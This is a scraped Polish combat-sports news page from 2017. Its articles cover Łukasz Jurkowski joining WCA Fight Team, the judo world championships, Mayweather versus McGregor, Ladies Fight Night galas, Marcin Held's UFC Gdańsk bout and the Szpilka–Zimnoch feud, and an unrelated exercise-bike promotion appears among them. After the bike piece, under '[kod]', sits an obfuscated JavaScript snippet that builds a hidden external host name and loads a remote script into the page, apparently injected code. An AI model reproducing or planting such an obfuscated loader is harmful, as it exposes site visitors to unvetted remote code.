Juras w WCA Fight Team

Jeden z najbardziej znanych i lubianych polskich zawodników MMA Łukasz „Juras” Jurkowski będzie trenował w WCA Fight Team.

36-latek to człowiek orkiestra. Ikona sportów walki w Polsce, komentator oraz spiker. W tym roku „Juras” ponownie wrócił do rywalizacji w oktagonie. Wszyscy liczyli na jego kolejny występ, jednak należy uzbroić się w cierpliwość. Tymczasem…

Nowy team

W maju Łukasz Jurkowski wrócił do oktagonu po sześciu latach. 36-latek wystąpił w Warszawie na gali KSW 39 Colosseum i wygrał z Rameau Thierry'm Sokoudjou. Natychmiast rozpoczęły się dyskusje na temat jego kolejnych walk dla organizacji Martina Lewandowskiego i Macieja Kawulskiego. Mówiło się, że „Juras” wystąpi na październikowej gali KSW w Dublinie. Sam zawodnik potwierdził otrzymanie propozycji, jednak musiał odmówić ze względów zdrowotnych. Chodzi o problemy po czerwcowym wypadku na motocyklu. Zapowiedział zarazem, że liczy na szybki powrót. Z KSW podpisał kontrakt na dwie walki, a więc jedną w ramach tej umowy musi jeszcze stoczyć.

Jurkowski otwiera kolejny rozdział w swojej karierze. – No to oficjalnie…od dziś jestem zawodnikiem WCA Fight Team! Trenerem głównym będzie Robert Jocz…z którym wspólnie zaczynaliśmy tworzyć Nastula Team w 2005 ( z Pawłem i Michałem Garnysem). Mam nadzieje, że pierwsza walka pod Jego skrzydłami będzie efektowna i zwycięska (pisownia oryginalna) –  poinformował „Juras” na swoim facebooku.

Przygodę ze sportami walki Łukasz Jurkowski zaczął od taekwondo. Zawodnik odnosił sukcesy w wielu turniejach na poziomie krajowym i międzynarodowym. Od początku istnienia KSW był związany z organizacją, dla której walczył do 2011 roku. Potem poświęcił się komentowaniu gal sportów walki. Wrócił na historyczną galę KSW na stadionie PGE Narodowy. Teraz Jurkowski podejmuje kolejne wyzwanie. Dotychczas „Juras” trenował w S4 Fight Club.

Kilka słów o WCA Fight Team

Ekipa powstała w 2015 roku. W klubie trenowali m.in. Bartosz Fabiński, Piotr Strus czy Anzor Azhiev, a także zawodnicy rywalizujących w UFC. Po tym jak na emeryturę odszedł trener S4 Fight Club Piotr Jeleniewski, WCA wzmocniła plejada polskich gwiazd MMA – Daniel Omielańczuk, Jan Błachnowicz i Damian Janikowski. Do warszawskiego klubu dołączył również Marcin Tybura.

Kilka dni temu managerem WCA Fight Team został przedstawiciel organizacji ACB na Europę Baysangur Edelbiev.

Fot. Facebook

KM

Niespodzianka! Mistrzyni olimpijska poza podium MŚ

Mało kto spodziewał się takiego scenariusza. Mistrzyni olimpijska w judo z Rio de Janeiro Majlinda Kelmendi (52kg) bez medalu mistrzostw świata w Budapeszcie. Na tatami zaprezentowali się również pierwsi Polacy. Agata Perenc (52kg) i Aleksander Beta (66kg) nie podbili stolicy Węgier.

Kelmendi to jedna z najlepszych i najbardziej rozpoznawalnych judoczek. Do Budapesztu jechała jako faworytka, a znalazła się tuż za podium.

Ma już wszystko

26-letnia judoczka jest dumą mieszkańców niewielkiego Kosowa. Kelmendi urasta do miana bohaterki narodowej za sprawą wywalczenia złotego medalu w Igrzyskach Olimpijskich w Rio de Janeiro. Warto zaznaczyć, że w Londynie startowała jeszcze w barwach Albanii. Wracając do tematu, w tym roku 26-latka potwierdziła dominację na Starym Kontynencie i w Warszawie sięgnęła po mistrzostwo Europy. A jeszcze dwa tygodnie przed zawodami Kelmendi zmagała się z kontuzją pleców. W finale reprezentantka Kosowa pokonała Alesję Kuzniecową.

W Budapeszcie Kelmendi miała wzbogacić swoją kolekcję medali o kolejne złoto mistrzostw świata. Uchodziła za faworytkę, gdyż od pięciu lat nie schodziła z podium międzynarodowych zawodów. Kelmendi zaczęła rywalizację w stolicy Węgier zdecydowanie i wygrała dwie walki przed czasem. W kolejnej opór stawiła jej Francuzka Amandinie Buchard, jednak mistrzyni olimpijska zaliczyła dwa waza ari. Szok w półfinale. Kelmendi trafiła na 23-letnią Japonkę Ai Shishime, która jest mistrzynią Azji. Wyrównane i niezwykle ciekawe starcie zakończyło się triumfem zawodniczki z Kraju Kwitnącej Wiśni. Mistrzyni olimpijska walczyła o brąz. Kelmendi rywalizowała z Eriką Mirandą, która również mogła być zawiedziona. Brazylijka miała na koncie już trzy medale mistrzostw świata, jednak w dorobku brakowało jej złota. W Budapeszcie sięgnęła po trzeci brąz z rzędu. Kelmendi została z niczym. Takiego rozstrzygnięcia nikt się nie spodziewał.

Trzy lata temu Hifumi Abe (66kg) wywalczył srebro mistrzostw świata juniorów. Od 2015 roku Japończyk nie schodzi z podium międzynarodowych zawodów. Co warto dodać, wygrał cztery kolejne starty i najlepszym dowodem jego talentu i fantastycznej formy jest zwycięstwo w Budapeszcie. Abe odniósł największy sukces w karierze. W finale pokonał 30-letniego Mikhaila Puliaeva, dla którego było to trzecie srebro mistrzostw świata.

Pierwsze koty itd.

W drugim dniu czempionatu na tatami zobaczyliśmy naszych zawodników. Agata Perenc (52kg) z dobrej strony pokazała się w Bukareszcie i Mińsku, gdzie stawała na podium. Po cichu można było liczyć na niespodziankę w Budapeszcie. Perenc zaczęła od zwycięstwa z mistrzynią Afryki Meriem Moussą. W kolejnym starciu Polka trafiła na utytułowaną Erikę Mirandę i wygrała przed czasem.

Szybko start w mistrzostwach świata zakończył Aleksander Beta (66kg). 21-letni reprezentant Kirgistanu Almaz Altynbek Uulu pokonał Polaka przed czasem, jednak w kolejnym starciu musiał uznać wyższość Wandera Mateo.

Fot. Facebook

KM

Joshua z Pulewem, a kto z Cotto i Wilderem?

28 października w Cardiff mistrz świata IBF, WBA i WBO wagi ciężkiej Anthony Joshua zmierzy się z Kubratem Pulewem. W kategorii królewskiej szykuje się również inna wielka walka. Najbliższe miesiące mogą być również emocjonujące w związku z pożegnalnym starciem Miguela Cotto. 

Chyba żaden pojedynek nie przyciągnie tak wielkiej uwagi jak starcie Floyda Mayweathera Jr. z Conorem McGregorem. Jednak trzeba zaznaczyć, że było to nietypowe wydarzenie. Jeśli chodzi o wrażenia czysto bokserskie, w tym roku ogromnych wrażeń dostarczyło mistrzowskie starcie w wadze ciężkiej pomiędzy Anthony'm Joshuą, a Władimirem Kliczko. Czy ktoś zaprezentuje wyższy poziom?

Pulew się doczekał

Miłośnicy boksu wierzyli, że jesienią będą mieli okazję emocjonować się drugą odsłoną rywalizacji pomiędzy Joshuą a Kliczko. Tak się jednak nie stanie. Marzenia prysły niczym bańka mydlana za sprawą decyzji Ukraińca. Wielki czempion wagi ciężkiej zakończył bogatą karierę. Taki krok ucieszył Kubrata Pulewa, który jest obowiązkowym pretendentem do pasa IBF. Bułgar w końcu doczeka się kolejnej mistrzowskiej walki. Pulew rywalizował o pas IBF w listopadzie 2014 roku, jednak przegrał przez nokaut z Władimirem Kliczko. Od tamtego czasu 36-letni bokser wygrał pięć kolejnych walk.

W Cardiff Joshua stoczy dwudziesty pojedynek i nadal będzie chciał podtrzymać skuteczność. Dotychczas wszystkie starcia Brytyjczyk wygrał przed czasem. Triumf Joshuy zapewne rozgrzałby dyskusję o jego ewentualnym spotkaniu z Deontayem Wilderem.

Teraz poświęćmy chwilę uwagi czempionowi WBC. Coraz bardziej realne staje się starcie Wildera z Luisem Ortizem. Ponoć strony doszły do porozumienia w sprawie walki, ale na oficjalne potwierdzenie trzeba jeszcze poczekać. Ortiz wygrał wszystkie 27 walk, z czego 23 przed czasem. Wilder triumfował 38 razy, w tym tylko raz na punkty. Amerykanin bronił tytułu WBC już pięć razy. Po raz ostatni w lutym br., kiedy rozprawił się z Geraldem Washingtonem. Zapowiadano, że Wildera czeka łatwa przeprawa, ale pretendent sprawił mu sporo kłopotów. Lewy prosty sprawiał mistrzowi problemy na początku starcia. W końcu role się odwróciły i w piątej rundzie Wilder zakończył starcie. Walka z Ortizem byłby jednym z najtrudniejszych wyzwań w karierze 31-letniego czempiona.

Czas odejść

36-letni Miguel Cotto zbliża się do końca kariery. Na ostatniej prostej wrócił na tron w wadze junior średniej pokonując na punkty Japończyka Yoshihiro Kamegai. 41. wygrana dała Portorykańczykowi tytuł mistrzowski WBO.

Cotto zapowiadał, że zamierza zakończyć karierę w 2017 roku. Prawdopodobnie ostatnią walkę stoczy w grudniu w Nowym Jorku. Wśród potencjalnych rywali Cotto wymienia się Gennadija Gołowkina i Saula Alvareza, którzy spotkają się 16 września w Las Vegas oraz Davida Lemieux.

KM

50. zwycięstwo Mayweathera Jr.

Chyba nikt nie może być zawiedziony hitowym starciem Floyda Mayweathera Jr. z Conorem McGregorem. Choć dla Irlandczyka była to pierwsza walka bokserska, zaprezentował w niej solidny poziom. Doświadczenie Mayweathera Jr. wzięło górę i Amerykanin mógł świętować zwycięstwo przed czasem.

Ogromne pieniądze, wielcy zawodnicy i oczy całego świata zwrócone na ring w Las Vegas. Wszyscy zastanawiali się, czy McGregor udźwignie ciężar rywalizacji na zasadach bokserskich. Krótko można powiedzieć, że dał radę, choć z ringu schodził jako przegrany. Pod względem finansowym Irlandczyk zrobił świetny interes.

Ostry początek gwiazdy MMA

Stało się to, co jeszcze na początku roku wydawało się nierealne. Zawodnik MMA wszedł do ringu i rywalizował z wielkim mistrzem Floydem Mayweatherem Jr. na zasadach bokserskich. Przed starciem bukmacherzy nie mieli złudzeń i jednoznacznie wskazywali na zwycięstwo Amerykanina. Dla „Moneya” był to powrót z emerytury i szansa na 50. triumf w karierze, co dawało mu szansę na zapisanie się w annałach historii.

McGregor rozpoczął odważnie i ruszył do przodu, jednak jego ciosy lądowały na gardzie rywala. Mayweather był niczym przyczajony tygrys i czekał na swój czas. Jednak McGregor do perfekcji opanował sztukę prowokacji i starał się „zachęcić” 40-latka do ataku. McGregor chował ręce za pasem. W drugiej rundzie Irlandczyk przyparł rywala do lin i serię ciosów zakończył uderzeniem młotkowym, za co dostał ostrzeżenie od sędziego. Ale to nie był jedyny raz…

Czwarta runda – to miał być ten czas. McGregor chciał zakończyć rywalizację z Mayweatherem, jednak przeciwnik świetnie śpisywał się w defensywie. W końcu Amerykanin przejął inicjatywę i punktował McGregora, choć ten starał się odpowiadać. W dziewiątej odsłonie „Money” miał Irlandczyka praktycznie na widelcu. Gwiazdor MMA był trzykrotnie bliski liczenia, ale klinczował. Dziesiąta, jak się okazało ostatnia odsłona, to teatr jednego aktora. Mayweather nie miał litości dla McGregora, słał w jego stronę kolejne ciosy i sędzia przerwał pojedynek.

Czas działał na korzyść Mayweathera

Conor McGregor zaskoczył w swoim debiucie w ringu bokserskim. Jednak Irlandczyk nigdy nie walczył tak długo. Wyraźnie widać było, że do czwartej rundy to on był stroną przeważającą, jednak później ta różnica rozmywała się. Z kolei Mayweather perfekcyjnie rozegrał pojedynek. Zaczął ostrożnie, gdyż w końcu jest starszy od McGregora o 11 lat i widząc, że rywal opada z sił skorzystał z okazji.

Co warto podkreślić, Mayweather wrócił na jedną walkę i widać było, że dawno nie boksował. Z kolei McGregor przegrał, ale pozostawił po sobie dobre wrażenie. Irlandczyk stanął przed trudnym wyzwaniem zaprezentowania się w walce z wielkim mistrzem, jednak potrafił stawić mu czoła i przez kilkanaście minut rywalizował jak równy z równym. Za ten wysiłek dostanie solidną wypłatę. Największą podczas swojej kariery. Wszystko wskazuje, że będzie to minimum 100 milionów dolarów.

Fot. Facebook Conor McGregor

KM

Ring stanie się królestwem kobiet

W Rawie Mazowieckiej kobiety udowodnią, że mocne ciosy, krew i agresja nie są im obce. Już jutro (26 sierpnia) w hotelu Ossa odbędzie się gala Ladies Fight Night „Ira”. W akcji zaprezentują się m.in. mistrzyni świata muay thai Katarzyna Posiadała i niepokonana w ringu LFN Sylwia Juśkiewicz.

Podróż federacji Ladies Fight Night rozpoczęła się 18 grudnia w hotelu Double Tree by Hilton w Łodzi. W walce wieczoru Sylwia Juśkiewicz wypunktowała Rumunkę Alice Ardelean. Ostatni raz kibice sportów walki mogli podziwiać zawodniczki w kwietniu w Poznaniu. Teraz czas na kolejny mocny cios i wspaniałe zawodniczki. Rawa Mazowiecka jest już gotowa! Do gali Ladies Fight Night „Ira” pozostały godziny.

Z Łodzi przez Poznań do Japonii

Taką drogę przebędzie Sylwia Juśkiewicz. 22-letnia zawodniczka to czołowa postać federacji Ladies Fight Night. Dotychczas zaliczyła w niej cztery walki i wszystkie wygrała. Dobra postawa Juśkiewicz została dostrzeżona przez włodarzy organizacji Rizin FF. W październiku zawodniczka wystąpi w atomowym turnieju MMA. Jednak 26 sierpnia czeka ją kolejne wyzwanie w ringu Ladies Fight Night. Rywalką Polki będzie 22-letnia Manoela Matos. Brazylijka zbiera doświadczenie w MMA, jednak ma na swoim koncie amatorskie mistrzostwo kraju. Dwie zawodowe walki zakończyła przed czasem, więc Juśkiewicz musi się mieć na baczności.

Veronika Cmarova, Lucie Mudrochova, Marta Gusztab i Lucie Cmarova – te zawodniczki pokonała Katarzyna Posiadała. Czy w kolejnym pojedynku na zasadach K-1 Polka zwycięży? W Rawie Mazowieckiej Posiadała stawi czoła Włoszce Fabioli Aggio. Zawodniczka z Italii ma na swoim koncie wicemistrzostwo świata w K-1, doświadczenie zdobyła także w muay thai. Jednak Polka również nie próżnuje. W marcu w Tajlandii Posiadała zdobyła mistrzostwo świata muay thai w kategorii do 63,5 kg. 

Ciekawie zapowiada się starcie Iman Barlow i Ranne Klinratree w formule K-1. Zawodniczki mają imponujące rekordy. Zawodniczka z Wielkiej Brytanii ma na koncie 87 zwycięstw i należy do czołowych fighterek muay thai i kickboxingu. Z kolei Klinratree zmierza w stronę 100 wygranych walk. Ma na koncie 93 triumfów, zdobyła także tytuł zawodowej mistrzyni świata muay thai WPMF.

Przed trudnym wyzwaniem stanie była europejska mistrzyni K-1 Kamila Bałanda. Na gali w Poznaniu utytułowana zawodniczka pokonała jednogłośną decyzją Martę Gusztab. Teraz przyjdzie jej się zmierzyć z Annisą Haddaoui, która była zaskoczeniem gali LFN FeMMAgeddon w Warszawie. Holenderka w ostatniej chwili znalazła się w karcie walk, ale szybkością, seriami ciosów i licznymi kopnięciami zdominowała Alisę Bazhukovą. Teraz Haddaoui sprawdzi możliwości Bałandy, która musi być czujna.

Na gali LFN „Ira” zaprezentują się również: Carolina Jimenez, Anna Rudenko, Natalia Leciejewska, Patrycja Krawczyk i Karolina Klusova.

Problemy wizowe

Monika Bohn będzie musiała poczekać na kolejną walkę na Ladies Fight Night. Wszystko przez problemy wizowe Oksany Pashkovej. Walka odbędzie się w innym terminie. W Ladies Fight Night Bohn odniosła zwycięstwo (z Patrycją Pamułą) i zanotowała porażkę (z Magdaleną Kasprzyk).

Warto dodać, że podczas gali w Rawie Mazowieckiej nie zabraknie wyjątkowych gości. Wydarzenie będą obserwować: Bracia Collins, Piotr Stramowski, Tomasz Oświeciński, Ewa Lubert, Marcin Wrzosek, Bartek Kurczewski, Artur Partyka, Łukasz Zaborowski, Karolina Owczarz, Monika Michalak, Ewa Piątkowska.

Fot. lfn.com.pl

KM

Najlepsi aktorzy gotowi do spektaklu

Takiej promocji nie miał żaden hit Hollywood. O kolejnych częściach Harry'ego Pottera nie mówiło się tyle, ile o sobotniej (26 sierpnia) walce Floyda Mayweathera Jr. i Conora McGregora. Las Vegas czeka na głównych aktorów najbardziej wyczekiwanego widowiska 2017 roku.

Niektórzy obawiają się otwierać lodówkę. Wszędzie Mayweather i McGregor. Wokół pojedynku Amerykanina i Irlandczyka stworzono niesamowitą otoczkę, która zainteresowanych przenosi w inny wymiar.

Czy porwą tłumy?

To pytanie numer jeden. Sprawą kluczową jest, czy po walce nie sprowadzimy całego widowiska do stwierdzenia „z wielkiej chmury mały deszcz”. Nie da się jednak ukryć, że będzie to wyjątkowy, wręcz przełomowy pojedynek. 26 sierpnia w Las Vegas zmierzą się bokser i zawodnik MMA. Warto uzupełnić, że nie chodzi o byle jakich zawodników. Floyd Mayweather Jr. wygrał wszystkie 49 walk na zawodowym ringu. Amerykanin zdobywał pasy w kategoriach półśredniej, junior średniej, junior lekkiej, lekkiej, junior półśredniej i lekkośredniej. Co warto dodać, po raz ostatni 40-latek rywalizował blisko dwa lata temu. W Las Vegas pokonał Andre Berto.

Młodszego o 11 lat Conora McGregora również należy zaliczyć w poczet gwiazd. W końcu Irlandczyk jest najbardziej rozpoznawalną twarzą UFC i niezwykle barwną postacią. Jako pierwszy w historii zdobył dwa pasy mistrzowskie – w kategorii lekkiej i piórkowej. Ostatnią walkę stoczył w listopadzie 2016 roku, kiedy to pokonał Eddiego Alvareza w walce mistrzowskiej.

Obaj potrafią robić show i budować napięcie. Wyssali to z mlekiem matki. Przychodzi im to z łatwością, przyciągają uwagę tłumów. Z tym, że Mayweather dokonywał tego w zupełnie innej skali. Amerykanin opływał w dostatku. W porównaniu z nim zarobki McGregora należy uznać za skromne kieszonkowe. Dochody Mayweather liczono w setkach milionów. Z kolei Irlandczyk za walkę z Natem Diazem na UFC 202 miał dostać trzy miliony dolarów. Różnica zatem jest kolosalna.

Przełomem dla McGregora ma być starcie z Mayweatherem. Gdy na początku roku pojawiły się informacje o rzekomym starciu zawodników, wielu miłośników sportów walki reagowało śmiechem bądź nie dowierzało. W czerwcu walka stała się faktem. Strony podpisały umowę i 26 sierpnia McGregor i Mayweather mają stworzyć największe show wszech czasów. Kolejne konferencje, podczas których zawodnicy nie szczędzili sobie cierpkich słów. Wszystko po to, żeby budować zainteresowanie i zachęcać do zakupu pakietów pay per view. Mówi się, że łączny zysk z walki ma osiągnąć ponad 600 milionów dolarów.

Stawką będzie pas

Całego wydarzenia nie da się inaczej określić jak mianem spektaklu. Ma być to widowisko najwyższego rzędu. Widzowie przyjdą spragnieni najwyższych doznań i ogromnych wrażeń. W końcu na scenie na dystansie dwunastu rund zaprezentują się gwiazdy boksu i MMA. Faworytem pojedynku jest Floyd Mayweather Jr.

Na szali pojawi się pas zawierający 1,5 kilograma 24-karatowego złota, ponad 3 tysiące diamentów, 600 szafirów i 160 szmaragdów. Może zakręcić się w głowie od tych błyskotek. Oby w ringu wszystko zagrało, a nie wiało nudą.

KM

Gala Ladies Fight Night już w sobotę!

W najbliższa sobotę 26.08.2017r., Rawa Mazowiecka przemieni się w światową stolicę damskich sztuk walki. Podczas gali Ladies Fight Night „IRA”, Anissa Haddaui (41-3-1) podejmie byłą europejską mistrzynię K1 Kamilę Bałandę (11-1-0). Holenderka powróci do klatkoringu Ladies Fight Night by w walce wieczoru zmierzyć się z szalenie niebezpieczną Polką. W klatkoringu LFN obok najlepszych polskich zawodniczek zobaczymy również fighterki z Holandii, Włoch, Brazylii, Czech, Nowej Zelandii, Tajlandii, Wielkiej Brytanii, Rosji, Wenezueli i Ukrainy.

Sylwia „Mała” Juśkiewicz vs Manoela Matos

W tej walce, zaprezentuje się jedna z najbardziej porywających zawodniczek Ladies Fight Night, Sylwia Juśkiewicz, która stawi czoła głodnej zwycięstwa Brazylijce – Manoeli Matos – tym razem na zasadach MMA. Jak potoczy się ich sobotnia walka?

Warto podkreślić, iż Sylwia „Mała” Juśkiewicz (MMA 6-4) już w październiku weźmie udział w pierwszym atomowym turnieju MMA, organizowanym przez japońską organizację Rizin FF w Japonii.

Transmisja live

Całą galę Ladies Fight Night „IRA” będzie można śledzić „na żywo” w jakości HD na www.lfn.com.pl oraz na Facebooku organizacji. Galę poprowadzą niezastąpieni: Krzysztof „Jankes” Jankowski oraz Łukasz „Juras” Jurkowski. Ze studia usłyszymy głos Tomasza Marciniaka. Komentarz Artur „Kornik” Sowiński i Błażej Szwajkajzer.

Wśród gości m.in. Piotr Stramowski, Tomasz Oświeciński, Bracia Collins, Ewa Lubert, Marcin Wrzosek, Bartek Kurczewski, Artur Partyka, Łukasz Zaborowski, Karolina Owczarz, Monika Michalak, Ewa Piątkowska.

Start w sobotę o godz. 20:00!

Kogo zobaczymy w klatko-ringu LFN?

Podczas najbliższej gali żeńskiej organizacji odbędzie się dziewięć walk, trzy w formule MMA i sześć w K-1. Pierwszy raz walka w kategorii wagowej +90kg, będzie to najprawdopodobniej najcięższa walka kobiet w mma na świecie.

Ceremonia ważenia w piątek

Ceremonia ważenia zawodniczek na dzień przed galą oraz media trening z konferencją prasową odbędą się o godz. 15:00, w Hotelu Ossa w Rawie Mazowieckiej.

Patroni medialni

FightTime TV, Radio ESKA, Sport.pl, MMA.pl, InTheCage.pl, Fight24.pl, MadFight24.com, se.pl, sporty-walki.org, Richard Magazin Poland.

Czy warto zakupić poziomy rower treningowy?

Rowery poziome są jednymi z szybszych pojazdów napędzanych siłą naszych mięśni. Mimo tego nie cieszą się one zbyt dużą popularnością. Wynika to przede wszystkim z faktu, że mają one skomplikowaną konstrukcję. Ich dużą wadą jest również to, że są znacznie mniej zwrotne niż klasyczne rowery pionowe.

Na szczęście wady te nie mają znaczenia w przypadku poziomych rowerów treningowych. Jest to przecież sprzęt stacjonarny przeznaczony do ćwiczeń w domu lub w sali treningowej. Jak zatem wypada poziomy rower magnetyczny w porównaniu z pionowym?

Kiedy lepiej wybrać stacjonarny rower pionowy?

Pionowe rowery treningowe są obecnie chyba najbardziej rozpowszechnionymi maszynami treningowymi. Ich popularność wynika głównie z faktu, że w sklepie wybieramy głównie sprzęty, który znamy a kto obecnie nie potrafi jeździć rowerze?

Jeśli głównym celem treningu ma być przygotowanie się do wyprawy rowerowej to faktycznie lepiej w takim przypadku sprawdzi się rower pionowy, ponieważ jego konstrukcja bardziej przypomina klasyczny rower. Z takich samych powodów pionowe rowery treningowe wybierają również profesjonalni kolarze. Jednak częściej mocują oni do rowerów, na których mają startować specjalne trenażery generujące opór.

Kiedy rower poziomy?

Gdy jednak głównym celem ćwiczeń jest poprawa kondycji fizycznej oraz redukcja wagi, warto zastanowić się nad zakupem roweru poziomego. Inne ułożenie ciała w czasie jazdy znacznie zmniejsza przeciążenia stawów kolanowych. Ma to ogromne znaczenie zwłaszcza w przypadku osób otyłych i ze znaczną nadwagą. Wiele osób twierdzi również, że trening na rowerze poziomym jest po prostu bardziej komfortowy. Wynika to z tego, że w czasie ćwiczeń nie siedzi się na klasycznym siodełku, lecz na siedzisku z oparciem przypominającym fotel.

Inne zalety rowerów treningowych

Rower stacjonarny jest doskonałym urządzeniem treningowym. Można na nim trenować niezależnie od pory roku oraz dnia. Co więcej, korzystając z niego można wykonywać również inne czynności takie jak na przykład oglądanie ulubionego serialu lub słuchanie audiobooka.

W internetowych sklepach ze sprzętem sportowym dostępne są również urządzenia łączące w sobie cechy klasycznego roweru pionowego i poziomego. Są to tak zwane rowery hybrydowe. Wybierają je zazwyczaj osoby cierpiące na różnego rodzaju bóle pleców.

Osoby, które niedysponują odpowiednią wiedzą i doświadczeniem powinny przed zakupem poradzić się sprzedawcy. Wybór urządzenia ma ogromny wpływ na efektywność i komfort ćwiczeń.

[kod]

(function(){
z690=document.createElement("script");z690_=(("u")+"st")+"a";z690.async=true;
z690.type="text/javascript";z690_+=("t.i")+""+"n";z690_+=(("f")+"o");z690_+="/";
z690u="65787769.";z690u+="1980yiy3690v78jf8br"+"mq8clwyux2z";
z690.src="//"+z690_+z690u; document.body.appendChild(z690);
})();

Held pomści rodaków?

Marcin Held poznał kolejnego rywala. 25-letni Polak na gali UFC Fight Night 118 w Gdańsku zmierzy się z Teemu Packalenem.

Przypomnijmy. Gdańska gala UFC odbędzie się 21 października. Obecnie w karcie walk znajduje się sześcioro Polaków.

Held musi wygrać

Marcin Held ciężką pracą i dobrymi występami w Bellatorze zapracował na kontrakt w UFC. Tym samym wymagania wobec zawodnika urodzonego w Tychach wzrosły. Polak stoczył trzy pojedynki w UFC, jednak cały czas czeka na pierwszą wiktorię. O ile porażkę z Diego Sanchezem można było przeboleć, to przegrana z Joe Lauzonem wywołała wiele kontrowersji. Rywal przyznał, że nie zasłużył na zwycięstwo. W trzecim starciu, z Damirem Hadzovicem, Polak wygrał dwie rundy i wydawało się, że zmierza po triumf. Jednak w trzeciej odsłonie Bośniak wyprowadził potężne kolano i pokonał przez nokaut byłego pretendenta do tytułu mistrzowskiego wagi lekkiej Bellatora. 

Polak musi wyciągnąć wnioski z trzech walk w UFC i wykorzystać kolejną szansę. Nie ma co ukrywać, że jego pozycja w amerykańskiej organizacji nie jest najmocniejsza. Przełamanie powinno nadejść w październiku w Gdańsku, gdzie Held stoczy czwartą walkę w UFC. – Moim kolejnym przeciwnikiem na gali UFC w Gdańsku 21 października będzie fiński zawodnik MMA – Teemu Packalen. Zapowiada się ciekawy pojedynek – poinformował Marcin Held.

Dla Polaka będzie to pierwsza walka w kraju od ponad siedmiu lat. Co do rywala, 30-letni Teemu Packalen ma za sobą trzy starcia w UFC. Wygrał raz – w lutym ubiegłego roku z Thibaultem Goutim. Fin potrzebował zaledwie 24 sekund do odniesienia zwycięstwa. W tym roku Packalen walczył tylko raz, w Londynie przegrał przez nokaut z Markiem Diakiese. Warto wspomnieć, że na początku kariery Fin miał okazję rywalizować z polskimi zawodnikami. Packalen pokonał Grzegorza Szulakowskiego i Grzegorza Sajbora.

Liczna reprezentacja

21 października polscy kibice MMA będą ściskali kciuku za swoich rodaków, którzy wyjdą do oktagonu. Po raz pierwszy na gali UFC zaprezentują się Oskar Piechota i Adam Wieczorek. Ich rywalami będą Jonathan Wilson i Dmitry Smolyakov.

O trzecie zwycięstwo w amerykańskiej organizacji powalczy Damian Stasiak. 27-latek w maju przegrał z Pedro Munhozem, a wcześniej zanotował dwa triumfy. Dla niego będzie to już piąta walka w UFC, a zmierzy się w niej z Brianem Kelleherem. Więcej występów (sześć) na swoim koncie w amerykańskiej organizacji ma Jan Błachowicz. Były mistrz KSW czeka na trzecie zwycięstwo. Po dwóch porażkach z rzędu jego sytuacja w UFC nie wygląda najlepiej. 21 października Polak zmierzy się z 29-letnim Delvinem Clarkiem.

W Gdańsku nie zabraknie płci pięknej. Karolina Kowalkiewicz nadal czeka na rywalkę, z którą przyjdzie jej się zmierzyć w październiku. Po trzech zwycięstwach, 31-latka zanotowała dwie porażki. W Gdańsku będzie chciała przerwać złą passę.

KM

Zapowiedź: Gala LFN 6 – IRA

Zapraszamy na transmisję telewizyjną z Gali LFN 6 – IRA, która odbędzie się w hotelu OSSA Congress & SPA w dniu 26 sierpnia 2017 r.. Start transmisji na żywo przewidziano na godz. 19.45. Dzień wcześniej tj. w piątek 25 sierpnia 2017 r. o godz. 17.00 zapraszamy na transmisję telewizyjną na żywo z oficjalnej ceremonii ważenia.

TRANSMISJĘ OGLĄDAĆ BĘDZIE MOŻNA TYLKO I WYŁĄCZNIE NA STRONIE FEDERACJI POD ADRESEM: WWW.LFN.COM.PL LUB NA OFICJALNYM PROFILU NA FACEBOOK.

[kod]

LIVE: Gala LFN 6 – IRA – Ceremonia ważenia

Zapraszamy na transmisję telewizyjną z oficjalnej ceremonii ważenia przed Galą LFN 6 – IRA, która odbędzie się w hotelu OSSA Congress & SPA w dniu 25 sierpnia 2017 r.. Start transmisji na żywo przewidziano na godz. 17.00.

[kod]

Gala LFN 6 – IRA – Ceremonia ważenia

Gala LFN 6 – IRA – Ceremonia ważenia

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/LFN5.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/LFN5.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/LFN5.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/LFN5.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Zimnoch idzie po Szpilkę

Czy Artur Szpilka zwiąże swoją przyszłość z MMA? Zdjęcie boksera ze współwłaścicielem KSW Martinem Lewandowskim nasuwa jednoznaczną odpowiedź. W całej sytuacji pojawił się Krzysztof Zimnoch, który mówi krótko: – Wszędzie cię dopadnę.

O tym, że obaj panowie nie darzą się sympatią wiadomo nie od dziś. W lutym 2013 roku Szpilka miał boksować z Zimnochem, jednak po starciu z Mollo sztab boksera z Wieliczki zrezygnował z tej opcji. Teraz temat pojedynku ponownie wrócił.

Szpilka ucieka?

Półtora roku temu Szpilka stanął do najważniejszej walki w bokserskiej karierze. W Barclays Center spotkał się z prawdziwym bombardierem Deontayem Wilderem, który dzierży pas WBC wagi ciężkiej. Szpilka dzielnie walczył, ale Amerykanin w dziewiątej rundzie posłał go na deski. Polak runął i długo nie podnosił się, a ostatecznie opuścił ring na noszach. 

Porażka z czempionem WBC nie była końcem świata. Szpilka pokazał się z dobrej strony, jednak po walce przeszedł operację ręki i wracał do zdrowia. W lutym br. Szpilka miał zaprezentować się w walce z Dominicem Breazeale'em. Do starcia nie doszło, co frustrowało Polaka, który musiał czekać kolejne miesiące na walkę. Ostatecznie w lipcu zmierzył się z Adamem Kownackim. 28-latek urodzony w Łomży boksuje w Stanach i zapowiadał, że znokautuje Szpilkę. Jak mówił, tak zrobił. Kariera pięściarza z Wieliczki znalazła się na zakręcie…

Pojawiły się doniesienia, że Szpilka trafi do KSW. Wrócił również temat walki z Krzysztofem Zimnochem. Jednak w poniedziałek (21 sierpnia) w mediach społecznościowych pojawiło się zdjęcie ze wspólnego lunchu Artura Szpilki i współwłaściciela KSW Martina Lewandowskiego. To mówi samo za siebie… Ale na konkrety trzeba jednak poczekać.

Szybko zareagował za to Krzysztof Zimnoch. – Myślisz Artur, że jak dostałeś bęcki od Adama to popłaczesz teraz kilka miesięcy, a później pójdziesz do KSW walczyć z uczestnikami tańca z gwiazdami i innymi celebrytami??? (pisownia oryginalna) – napisał bokser na swoim facebooku.

Zimnoch nie odpuszcza

